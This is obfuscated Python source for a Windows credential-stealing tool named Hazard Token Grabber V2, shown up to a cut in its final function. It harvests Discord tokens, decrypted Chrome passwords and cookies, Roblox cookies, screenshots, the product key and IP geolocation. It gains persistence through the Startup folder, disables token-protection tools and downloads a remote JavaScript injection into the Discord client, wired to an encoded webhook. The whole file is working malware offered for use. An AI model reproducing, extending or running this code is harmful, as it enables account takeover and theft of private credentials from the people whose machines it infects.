import os #line:1
import json #line:2
import httpx #line:3
import ctypes #line:4
import shutil #line:5
import psutil #line:6
import asyncio #line:7
import sqlite3 #line:8
import zipfile #line:9
import threading #line:10
import subprocess #line:11
from time import sleep #line:13
from rich .console import Console #line:14
from sys import argv #line:15
from PIL import ImageGrab #line:16
from base64 import b64decode #line:17
from re import findall ,match #line:18
from Crypto .Cipher import AES #line:19
from win32crypt import CryptUnprotectData #line:20
config ={'updater':b64decode (b64decode (b64decode ("WEBHOOK IN BASE64 3 TIMES"))).decode ("utf-8"),'testing_url':b64decode ("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL1JkaW1vL0Rpc2NvcmQtSW5qZWN0aW9uL21hc3Rlci9pbmplY3Rpb24uanM").decode ("utf-8"),'tryv1':True ,'tryv2':True ,'tryv3':True }#line:33
class functions (object ):#line:36
@staticmethod #line:37
def getHeaders (O0OOOOOO0O00O00OO :str =None ):#line:38
O00000O0000OOOOO0 ={"Content-Type":"application/json",}#line:41
if O0OOOOOO0O00O00OO :#line:42
O00000O0000OOOOO0 .update ({"Authorization":O0OOOOOO0O00O00OO })#line:43
return O00000O0000OOOOO0 #line:44
@staticmethod #line:46
def get_master_key (OO0O000O00000O0OO )->str :#line:47
with open (OO0O000O00000O0OO ,"r",encoding ="utf-8")as O0O0OO000OOO00OO0 :#line:48
OOOOOO00O0O000000 =O0O0OO000OOO00OO0 .read ()#line:49
O00000000O0O0OO0O =json .loads (OOOOOO00O0O000000 )#line:50
OO00O0O0OOOOO0O0O =b64decode (O00000000O0O0OO0O ["os_crypt"]["encrypted_key"])#line:52
OO00O0O0OOOOO0O0O =OO00O0O0OOOOO0O0O [5 :]#line:53
OO00O0O0OOOOO0O0O =CryptUnprotectData (OO00O0O0OOOOO0O0O ,None ,None ,None ,0 )[1 ]#line:54
return OO00O0O0OOOOO0O0O #line:55
@staticmethod #line:57
def decrypt_val (O0000OOOO0OOO00O0 ,O00O00O0O00O000OO )->str :#line:58
try :#line:59
OOO0OO0O0O0O0O0O0 =O0000OOOO0OOO00O0 [3 :15 ]#line:60
O000000O00OOO00O0 =O0000OOOO0OOO00O0 [15 :]#line:61
O0000OOOO000OO000 =AES .new (O00O00O0O00O000OO ,AES .MODE_GCM ,OOO0OO0O0O0O0O0O0 )#line:62
OO000O00O0OO0OOO0 =O0000OOOO000OO000 .decrypt (O000000O00OOO00O0 )#line:63
OO000O00O0OO0OOO0 =OO000O00O0OO0OOO0 [:-16 ].decode ()#line:64
return OO000O00O0OO0OOO0 #line:65
except Exception :#line:66
return "Failed to decrypt password"#line:67
@staticmethod #line:69
def config (OO0O00O0OOO000OOO :str )->str or bool |None :#line:70
return config .get (OO0O00O0OOO000OOO )#line:71
class Hazard_Token_Grabber_V2 (functions ):#line:74
def __init__ (O00OO00OO0O0O00OO ):#line:75
O00OO00OO0O0O00OO .webhook =O00OO00OO0O0O00OO .config ('updater')#line:76
O00OO00OO0O0O00OO .baseurl ="https://discord.com/api/v9/users/@me"#line:77
O00OO00OO0O0O00OO .appdata =os .getenv ("localappdata")#line:78
O00OO00OO0O0O00OO .roaming =os .getenv ("appdata")#line:79
O00OO00OO0O0O00OO .temp =os .getenv ("temp")#line:80
O00OO00OO0O0O00OO .startup =O00OO00OO0O0O00OO .roaming +"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"#line:81
O00OO00OO0O0O00OO .dir =O00OO00OO0O0O00OO .temp +"\\Hazard_Token_Grabber_V2"#line:82
O00OO00OO0O0O00OO .regex =r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",r"mfa\.[\w-]{84}"#line:83
O00OO00OO0O0O00OO .encrypted_regex =r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#line:84
try :#line:86
os .mkdir (os .path .join (O00OO00OO0O0O00OO .dir ))#line:87
except Exception :#line:88
pass #line:89
O00OO00OO0O0O00OO .sep =os .sep #line:91
O00OO00OO0O0O00OO .tokens =[]#line:92
O00OO00OO0O0O00OO .robloxcookies =[]#line:93
def try_extract (OO00OO0OOOOOOOO00 ):#line:95
def O000O0000000O0OOO (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O ):#line:96
try :#line:97
OO00OO0OOOOOOOO00 (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O )#line:98
except Exception :#line:99
pass #line:100
return O000O0000000O0OOO #line:101
async def checkToken (OOO00OO00OOO00O00 ,OOOO0O000000OOOOO :str )->str :#line:103
try :#line:104
OOO0O000OOOO00000 =httpx .get (url =OOO00OO00OOO00O00 .baseurl ,headers =OOO00OO00OOO00O00 .getHeaders (OOOO0O000000OOOOO ),timeout =5.0 )#line:109
except (httpx ._exceptions .ConnectTimeout ,httpx ._exceptions .TimeoutException ):#line:110
pass #line:111
if OOO0O000OOOO00000 .status_code ==200 and OOOO0O000000OOOOO not in OOO00OO00OOO00O00 .tokens :#line:112
OOO00OO00OOO00O00 .tokens .append (OOOO0O000000OOOOO )#line:113
async def init (O0OOO00OOOO000O00 ):#line:115
await O0OOO00OOOO000O00 .bypassBetterDiscord ()#line:116
await O0OOO00OOOO000O00 .bypassTokenProtector ()#line:117
OO00OO0OO000OO0O0 =[O0OOO00OOOO000O00 .screenshot ,O0OOO00OOOO000O00 .grabTokens ,O0OOO00OOOO000O00 .grabRobloxCookie ]#line:119
if O0OOO00OOOO000O00 .config ('tryv3'):#line:120
OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .hide )#line:121
if O0OOO00OOOO000O00 .config ('tryv1'):#line:123
OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .killDiscord )#line:124
if O0OOO00OOOO000O00 .config ('tryv2'):#line:126
OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .startup )#line:127
if os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Default')and os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Local State'):#line:129
OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabPassword )#line:130
OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabCookies )#line:131
for OO0OO0000OOO0OOO0 in OO00OO0OO000OO0O0 :#line:133
O0000O00OOO0OO000 =threading .Thread (target =OO0OO0000OOO0OOO0 ,daemon =True )#line:134
O0000O00OOO0OO000 .start ()#line:135
for OOO0OO00O0OOO000O in threading .enumerate ():#line:136
try :#line:137
OOO0OO00O0OOO000O .join ()#line:138
except RuntimeError :#line:139
continue #line:140
O0OOO00OOOO000O00 .neatifyTokens ()#line:141
await O0OOO00OOOO000O00 .injector ()#line:142
O0OOO00OOOO000O00 .finish ()#line:143
shutil .rmtree (O0OOO00OOOO000O00 .dir )#line:144
def hide (OO00O0OOO00O000O0 ):#line:146
ctypes .windll .kernel32 .SetFileAttributesW (argv [0 ],2 )#line:147
def startup (OOO0OOOOOO0O000O0 ):#line:149
try :#line:150
shutil .copy2 (argv [0 ],OOO0OOOOOO0O000O0 .startup )#line:151
except Exception :#line:152
pass #line:153
async def injector (OO0000O0OOO0O00O0 ):#line:155
for _O0O0O00O0OO00000O in os .listdir (OO0000O0OOO0O00O0 .appdata ):#line:156
if 'discord'in _O0O0O00O0OO00000O .lower ():#line:157
O0O00OO000000O0O0 =OO0000O0OOO0O00O0 .appdata +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O #line:158
OOOOOOO00O00OO000 =O0O00OO000000O0O0 +OO0000O0OOO0O00O0 .sep #line:159
for __OO00O00OO00O00000 in os .listdir (os .path .abspath (O0O00OO000000O0O0 )):#line:160
if match (r'app-(\d*\.\d*)*',__OO00O00OO00O00000 ):#line:161
O0OOO00O00O0O0O00 =os .path .abspath (OOOOOOO00O00OO000 +__OO00O00OO00O00000 )#line:162
O00O0OOO0OOO0OO00 =O0OOO00O00O0O0O00 +'\\modules\\discord_desktop_core-3\\discord_desktop_core\\'#line:163
if os .path .exists (O00O0OOO0OOO0OO00 ):#line:164
if OO0000O0OOO0O00O0 .startup not in argv [0 ]:#line:165
try :#line:166
os .makedirs (O00O0OOO0OOO0OO00 +'initiation',exist_ok =True )#line:168
except (FileExistsError ,PermissionError ):#line:169
pass #line:170
OO000OO000OO00O00 =httpx .get (OO0000O0OOO0O00O0 .config ('testing_url')).text .replace ("%WEBHOOK%",OO0000O0OOO0O00O0 .webhook )#line:172
with open (O00O0OOO0OOO0OO00 +'index.js','w',errors ="ignore")as O0O000OO0O0O0O000 :#line:173
O0O000OO0O0O0O000 .write (OO000OO000OO00O00 )#line:174
os .startfile (O0OOO00O00O0O0O00 +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O +'.exe')#line:175
def killDiscord (OO0O00OO000OOOO0O ):#line:177
for OO000OO00000OO0OO in psutil .process_iter ():#line:178
if any (O0000O0O0O0O0O000 in OO000OO00000OO0OO .name ().lower ()for O0000O0O0O0O0O000 in ['discord','discordtokenprotector','discordcanary','discorddevelopment','discordptb']):#line:180
try :#line:181
OO000OO00000OO0OO .kill ()#line:182
except (psutil .NoSuchProcess ,psutil .AccessDenied ):#line:183
pass #line:184
async def bypassTokenProtector (OOO0OOOO0OOOOO0O0 ):#line:186
OOO0OO0OO00OOOO00 =f"{OOO0OOOO0OOOOO0O0.roaming}\\DiscordTokenProtector\\"#line:188
O0O0O00O00000OO00 =OOO0OO0OO00OOOO00 +"config.json"#line:189
for OO000000OOOOO0O0O in ["DiscordTokenProtector.exe","ProtectionPayload.dll","secure.dat"]:#line:191
try :#line:192
os .remove (OOO0OO0OO00OOOO00 +OO000000OOOOO0O0O )#line:193
except FileNotFoundError :#line:194
pass #line:195
if os .path .exists (O0O0O00O00000OO00 ):#line:196
with open (O0O0O00O00000OO00 ,errors ="ignore")as OOOOOO00O0OOO00OO :#line:197
try :#line:198
O0OO000OO00O000O0 =json .load (OOOOOO00O0OOO00OO )#line:199
except json .decoder .JSONDecodeError :#line:200
return #line:201
O0OO000OO00O000O0 ['Rdimo_just_shit_on_this_token_protector']="https://github.com/Rdimo"#line:202
O0OO000OO00O000O0 ['auto_start']=False #line:203
O0OO000OO00O000O0 ['auto_start_discord']=False #line:204
O0OO000OO00O000O0 ['integrity']=False #line:205
O0OO000OO00O000O0 ['integrity_allowbetterdiscord']=False #line:206
O0OO000OO00O000O0 ['integrity_checkexecutable']=False #line:207
O0OO000OO00O000O0 ['integrity_checkhash']=False #line:208
O0OO000OO00O000O0 ['integrity_checkmodule']=False #line:209
O0OO000OO00O000O0 ['integrity_checkscripts']=False #line:210
O0OO000OO00O000O0 ['integrity_checkresource']=False #line:211
O0OO000OO00O000O0 ['integrity_redownloadhashes']=False #line:212
O0OO000OO00O000O0 ['iterations_iv']=364 #line:213
O0OO000OO00O000O0 ['iterations_key']=457 #line:214
O0OO000OO00O000O0 ['version']=69420 #line:215
with open (O0O0O00O00000OO00 ,'w')as OOOOOO00O0OOO00OO :#line:216
json .dump (O0OO000OO00O000O0 ,OOOOOO00O0OOO00OO ,indent =2 ,sort_keys =True )#line:217
with open (O0O0O00O00000OO00 ,'a')as OOOOOO00O0OOO00OO :#line:218
OOOOOO00O0OOO00OO .write ("\n\n//Rdimo just shit on this token protector | https://github.com/Rdimo")#line:220
async def bypassBetterDiscord (O0O0O0OO00OO0O000 ):#line:222
OO00000OO00O0OOO0 =O0O0O0OO00OO0O000 .roaming +"\\BetterDiscord\\data\\betterdiscord.asar"#line:223
if os .path .exists (OO00000OO00O0OOO0 ):#line:224
O000OOO0OOOO000O0 ="api/webhooks"#line:225
with open (OO00000OO00O0OOO0 ,'r',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:226
O00OO000O00000OO0 =OO00O000000O00OO0 .read ()#line:227
O00OOO00000O00000 =O00OO000O00000OO0 .replace (O000OOO0OOOO000O0 ,'RdimoTheGoat')#line:228
with open (OO00000OO00O0OOO0 ,'w',newline ='',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:229
OO00O000000O00OO0 .write (O00OOO00000O00000 )#line:230
def getProductValues (OO00O00OO00O0OO00 ):#line:232
try :#line:233
O00O00O00O0OO00O0 =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault",creationflags =0x08000000 ).decode ().rstrip ()#line:235
except Exception :#line:236
O00O00O00O0OO00O0 ="N/A (Likely Pirated)"#line:237
try :#line:238
O0OOOO00O0OOO000O =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName",creationflags =0x08000000 ).decode ().rstrip ()#line:240
except Exception :#line:241
O0OOOO00O0OOO000O ="N/A"#line:242
return [O0OOOO00O0OOO000O ,O00O00O00O0OO00O0 ]#line:243
@try_extract #line:245
def grabTokens (OO0O00O00O0OO0O0O ):#line:246
O0OOO00O0O00O0000 ={'Discord':OO0O00O00O0OO0O0O .roaming +r'\\discord\\Local Storage\\leveldb\\','Discord Canary':OO0O00O00O0OO0O0O .roaming +r'\\discordcanary\\Local Storage\\leveldb\\','Lightcord':OO0O00O00O0OO0O0O .roaming +r'\\Lightcord\\Local Storage\\leveldb\\','Discord PTB':OO0O00O00O0OO0O0O .roaming +r'\\discordptb\\Local Storage\\leveldb\\','Opera':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\','Opera GX':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\','Amigo':OO0O00O00O0OO0O0O .appdata +r'\\Amigo\\User Data\\Local Storage\\leveldb\\','Torch':OO0O00O00O0OO0O0O .appdata +r'\\Torch\\User Data\\Local Storage\\leveldb\\','Kometa':OO0O00O00O0OO0O0O .appdata +r'\\Kometa\\User Data\\Local Storage\\leveldb\\','Orbitum':OO0O00O00O0OO0O0O .appdata +r'\\Orbitum\\User Data\\Local Storage\\leveldb\\','CentBrowser':OO0O00O00O0OO0O0O .appdata +r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\','7Star':OO0O00O00O0OO0O0O .appdata +r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\','Sputnik':OO0O00O00O0OO0O0O .appdata +r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\','Vivaldi':OO0O00O00O0OO0O0O .appdata +r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\','Chrome SxS':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\','Chrome':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\','Epic Privacy Browser':OO0O00O00O0OO0O0O .appdata +r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\','Microsoft Edge':OO0O00O00O0OO0O0O .appdata +r'\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\','Uran':OO0O00O00O0OO0O0O .appdata +r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\','Yandex':OO0O00O00O0OO0O0O .appdata +r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\','Brave':OO0O00O00O0OO0O0O .appdata +r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\','Iridium':OO0O00O00O0OO0O0O .appdata +r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}#line:270
for _OOO000O00O00OOOOO ,O0O000O0O0OOO0OOO in O0OOO00O0O00O0000 .items ():#line:272
if not os .path .exists (O0O000O0O0OOO0OOO ):#line:273
continue #line:274
if "discord"not in O0O000O0O0OOO0OOO :#line:275
for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:276
if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:277
continue #line:278
for OO00000OOO00OO000 in [OOO0O0OO0O0000OO0 .strip ()for OOO0O0OO0O0000OO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOO0O0OO0O0000OO0 .strip ()]:#line:279
for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:280
for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:281
asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:282
else :#line:283
if os .path .exists (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'):#line:284
for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:285
if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:286
continue #line:287
for OO00000OOO00OO000 in [OOOO000OO0OO0OOO0 .strip ()for OOOO000OO0OO0OOO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOOO000OO0OO0OOO0 .strip ()]:#line:288
for O00O00OO0OO0OO0OO in findall (OO0O00O00O0OO0O0O .encrypted_regex ,OO00000OOO00OO000 ):#line:289
OO0OOO000000O0O0O =OO0O00O00O0OO0O0O .decrypt_val (b64decode (O00O00OO0OO0OO0OO .split ('dQw4w9WgXcQ:')[1 ]),OO0O00O00O0OO0O0O .get_master_key (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'))#line:291
asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:292
if os .path .exists (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:294
for O0O000O0O0OOO0OOO ,_OOO000O00O00OOOOO ,OOOO0O0O0000OOO0O in os .walk (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:295
for _O00OOOO00000O00O0 in OOOO0O0O0000OOO0O :#line:296
if not _O00OOOO00000O00O0 .endswith ('.sqlite'):#line:297
continue #line:298
for OO00000OOO00OO000 in [O000000O00OO00O00 .strip ()for O000000O00OO00O00 in open (f'{O0O000O0O0OOO0OOO}\\{_O00OOOO00000O00O0}',errors ='ignore').readlines ()if O000000O00OO00O00 .strip ()]:#line:299
for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:300
for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:301
asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:302
@try_extract #line:304
def grabPassword (O0O00OOO0O00OO000 ):#line:305
OO00OOO0OO00O0O00 =O0O00OOO0O00OO000 .get_master_key (O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:307
OO0OO0OOOOOO0O00O =O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\default\\Login Data'#line:308
OO00O00OOOOO0O0OO =O0O00OOO0O00OO000 .temp +O0O00OOO0O00OO000 .sep +"Loginvault1.db"#line:309
shutil .copy2 (OO0OO0OOOOOO0O00O ,OO00O00OOOOO0O0OO )#line:311
OO00O0O00OOO0O00O =sqlite3 .connect (OO00O00OOOOO0O0OO )#line:312
O0O0000O000OOO0O0 =OO00O0O00OOO0O00O .cursor ()#line:313
with open (O0O00OOO0O00OO000 .dir +"\\Google Passwords.txt","w",encoding ="cp437",errors ='ignore')as O0OO0O0O0O0OO0O00 :#line:314
O0O0000O000OOO0O0 .execute ("SELECT action_url, username_value, password_value FROM logins")#line:316
for O00OO00O0O0OOO00O in O0O0000O000OOO0O0 .fetchall ():#line:317
OOO0O0O000O0OO0O0 =O00OO00O0O0OOO00O [0 ]#line:318
O000000OOO0O0000O =O00OO00O0O0OOO00O [1 ]#line:319
O0O00O0O00OOO0O00 =O00OO00O0O0OOO00O [2 ]#line:320
O0OO0O00000OO0OO0 =O0O00OOO0O00OO000 .decrypt_val (O0O00O0O00OOO0O00 ,OO00OOO0OO00O0O00 )#line:322
if OOO0O0O000O0OO0O0 !="":#line:323
O0OO0O0O0O0OO0O00 .write (f"Domain: {OOO0O0O000O0OO0O0}\nUser: {O000000OOO0O0000O}\nPass: {O0OO0O00000OO0OO0}\n\n")#line:325
O0O0000O000OOO0O0 .close ()#line:326
OO00O0O00OOO0O00O .close ()#line:327
os .remove (OO00O00OOOOO0O0OO )#line:328
@try_extract #line:330
def grabCookies (O00OO000O0000OO00 ):#line:331
OOO0O0OOOO000O000 =O00OO000O0000OO00 .get_master_key (O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:333
O0O00OOO00000OO0O =O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\default\\Network\\cookies'#line:334
O0O00OOO000OOOO0O =O00OO000O0000OO00 .temp +O00OO000O0000OO00 .sep +"Loginvault2.db"#line:335
shutil .copy2 (O0O00OOO00000OO0O ,O0O00OOO000OOOO0O )#line:336
OOOOOO0OO00000O0O =sqlite3 .connect (O0O00OOO000OOOO0O )#line:337
OOO0O00O00OO00OO0 =OOOOOO0OO00000O0O .cursor ()#line:338
with open (O00OO000O0000OO00 .dir +"\\Google Cookies.txt","w",encoding ="cp437",errors ='ignore')as O00000OOOOO000OOO :#line:339
OOO0O00O00OO00OO0 .execute ("SELECT host_key, name, encrypted_value from cookies")#line:341
for OO00OO0O0O0O0O0O0 in OOO0O00O00OO00OO0 .fetchall ():#line:342
O00000O000000000O =OO00OO0O0O0O0O0O0 [0 ]#line:343
OOOOOOOO0000O0000 =OO00OO0O0O0O0O0O0 [1 ]#line:344
O0OOO0OO0OOO0O00O =O00OO000O0000OO00 .decrypt_val (OO00OO0O0O0O0O0O0 [2 ],OOO0O0OOOO000O000 )#line:345
if O00000O000000000O !="":#line:346
O00000OOOOO000OOO .write (f"Host: {O00000O000000000O}\nUser: {OOOOOOOO0000O0000}\nCookie: {O0OOO0OO0OOO0O00O}\n\n")#line:348
if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_'in O0OOO0OO0OOO0O00O :#line:349
O00OO000O0000OO00 .robloxcookies .append (O0OOO0OO0OOO0O00O )#line:350
OOO0O00O00OO00OO0 .close ()#line:351
OOOOOO0OO00000O0O .close ()#line:352
os .remove (O0O00OOO000OOOO0O )#line:353
def neatifyTokens (O0OOOOOO00OOOOOO0 ):#line:355
OO0O000OO00OOOO0O =open (O0OOOOOO00OOOOOO0 .dir +"\\Discord Info.txt","w",encoding ="cp437",errors ='ignore')#line:357
for O0O0OOOO00000O00O in O0OOOOOO00OOOOOO0 .tokens :#line:358
OOO0000O00OO0OO0O =httpx .get (O0OOOOOO00OOOOOO0 .baseurl ,headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:360
O0O00OOOO00000OOO =OOO0000O00OO0OO0O .get ('username')+'#'+str (OOO0000O00OO0OO0O .get ("discriminator"))#line:361
OO00O0OOO0O0O00O0 =""#line:363
O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:364
O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:365
if (O00OOOO00O00O0O00 ==1 ):#line:366
OO00O0OOO0O0O00O0 +="Staff, "#line:367
if (O00OOOO00O00O0O00 ==2 ):#line:368
OO00O0OOO0O0O00O0 +="Partner, "#line:369
if (O00OOOO00O00O0O00 ==4 ):#line:370
OO00O0OOO0O0O00O0 +="Hypesquad Event, "#line:371
if (O00OOOO00O00O0O00 ==8 ):#line:372
OO00O0OOO0O0O00O0 +="Green Bughunter, "#line:373
if (O00OOOO00O00O0O00 ==64 ):#line:374
OO00O0OOO0O0O00O0 +="Hypesquad Bravery, "#line:375
if (O00OOOO00O00O0O00 ==128 ):#line:376
OO00O0OOO0O0O00O0 +="HypeSquad Brillance, "#line:377
if (O00OOOO00O00O0O00 ==256 ):#line:378
OO00O0OOO0O0O00O0 +="HypeSquad Balance, "#line:379
if (O00OOOO00O00O0O00 ==512 ):#line:380
OO00O0OOO0O0O00O0 +="Early Supporter, "#line:381
if (O00OOOO00O00O0O00 ==16384 ):#line:382
OO00O0OOO0O0O00O0 +="Gold BugHunter, "#line:383
if (O00OOOO00O00O0O00 ==131072 ):#line:384
OO00O0OOO0O0O00O0 +="Verified Bot Developer, "#line:385
if (OO00O0OOO0O0O00O0 ==""):#line:386
OO00O0OOO0O0O00O0 ="None"#line:387
OOO000O000O0O0OOO =OOO0000O00OO0OO0O .get ("email")#line:388
OOO0OO000OO00O0O0 =OOO0000O00OO0OO0O .get ("phone")if OOO0000O00OO0OO0O .get ("phone")else "No Phone Number attached"#line:390
OOOO00O000OO0OOOO =httpx .get (O0OOOOOO00OOOOOO0 .baseurl +'/billing/subscriptions',headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:392
O0OOO00OO0OO0O0O0 =False #line:393
O0OOO00OO0OO0O0O0 =bool (len (OOOO00O000OO0OOOO )>0 )#line:394
O0OOOOOOO0OOOO0O0 =bool (len (json .loads (httpx .get (O0OOOOOO00OOOOOO0 .baseurl +"/billing/payment-sources",headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).text ))>0 )#line:396
OO0O000OO00OOOO0O .write (f"{' '*17}{O0O00OOOO00000OOO}\n{'-'*50}\nToken: {O0O0OOOO00000O00O}\nHas Billing: {O0OOOOOOO0OOOO0O0}\nNitro: {O0OOO00OO0OO0O0O0}\nBadges: {OO00O0OOO0O0O00O0}\nEmail: {OOO000O000O0O0OOO}\nPhone: {OOO0OO000OO00O0O0}\n\n")#line:397
OO0O000OO00OOOO0O .close ()#line:398
def grabRobloxCookie (O000O0O00000OO00O ):#line:400
def OO0O0O0O00000OO00 (O000000O00OOOO0O0 ):#line:401
try :#line:402
return subprocess .check_output (fr"powershell Get-ItemPropertyValue -Path {O000000O00OOOO0O0}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY",creationflags =0x08000000 ).decode ().rstrip ()#line:405
except Exception :#line:406
return None #line:407
O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKLM')#line:408
if not O0OOOOOOO00000000 :#line:409
O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKCU')#line:410
if O0OOOOOOO00000000 :#line:411
O000O0O00000OO00O .robloxcookies .append (O0OOOOOOO00000000 )#line:412
if O000O0O00000OO00O .robloxcookies :#line:413
with open (O000O0O00000OO00O .dir +"\\Roblox Cookies.txt","w")as OO00O000OO00000OO :#line:414
for OOOO0O0O0OOO0OO00 in O000O0O00000OO00O .robloxcookies :#line:415
OO00O000OO00000OO .write (OOOO0O0O0OOO0OO00 +'\n')#line:416
def screenshot (O000OOO000O0OOOO0 ):#line:418
OO0OOO00OO0O000OO =ImageGrab .grab (bbox =None ,include_layered_windows =False ,all_screens =True ,xdisplay =None )#line:424
OO0OOO00OO0O000OO .save (O000OOO000O0OOOO0 .dir +"\\Screenshot.png")#line:425
OO0OOO00OO0O000OO .close ()#line:426
def finish (O000O0O00O0O0OOOO ):#line:428
for OO00OO0O0O0000O00 in os .listdir (O000O0O00O0O0OOOO .dir ):#line:429
if OO00OO0O0O0000O00 .endswith ('.txt'):#line:430
O0OO0000O00O0O0O0 =O000O0O00O0O0OOOO .dir +O000O0O00O0O0OOOO .sep +OO00OO0O0O0000O00 #line:431
with open (O0OO0000O00O0O0O0 ,"r",errors ="ignore")as OOOO0OOOOO00O00OO :#line:432
OOOO0OOO0O000O00O =OOOO0OOOOO00O00OO .read ()#line:433
if not OOOO0OOO0O000O00O :#line:434
try :#line:435
os .remove (O0OO0000O00O0O0O0 )#line:436
except PermissionError :#line:437
pass #line:438
with open (O0OO0000O00O0O0O0 ,"w",encoding ="utf-8")as OO000OOO000O0OOOO :#line:439
OO000OOO000O0OOOO .write ("🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2\n\n")#line:441
with open (O0OO0000O00O0O0O0 ,"a",encoding ="utf-8")as OO000OO0OOOOO00OO :#line:442
OO000OO0OOOOO00OO .write (OOOO0OOO0O000O00O +"\n\n🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2")#line:444
O00OOOO0O00O00OO0 =O000O0O00O0O0OOOO .getProductValues ()#line:445
OO0O0OOOO00OOO0O0 =O00OOOO0O00O00OO0 [0 ].replace (" ","á Žâ€¯")#line:446
OO00O00OO0O0OO000 =O00OOOO0O00O00OO0 [1 ].replace (" ","á Žâ€¯")#line:447
OOOOOO000O0OO0OO0 =str (psutil .virtual_memory ()[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:448
OO0OO0OO00OOOO0O0 =str (psutil .disk_usage ('/')[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:449
O00O000O0O0O0O00O =httpx .get ("https://ipinfo.io/json").json ()#line:451
OO00OO0O0OO00000O =O00O000O0O0O0O00O .get ('ip').replace (" ","á Žâ€¯")#line:452
OOOO0000OOO00O00O =O00O000O0O0O0O00O .get ('city').replace (" ","á Žâ€¯")#line:453
OOOOOOO0O0000000O =O00O000O0O0O0O00O .get ('country').replace (" ","á Žâ€¯")#line:454
OOOO000OO00O00OOO =O00O000O0O0O0O00O .get ('region').replace (" ","á Žâ€¯")#line:455
OOO0O00OO000OO0OO =O00O000O0O0O0O00O .get ('org').replace (" ","á Žâ€¯")#line:456
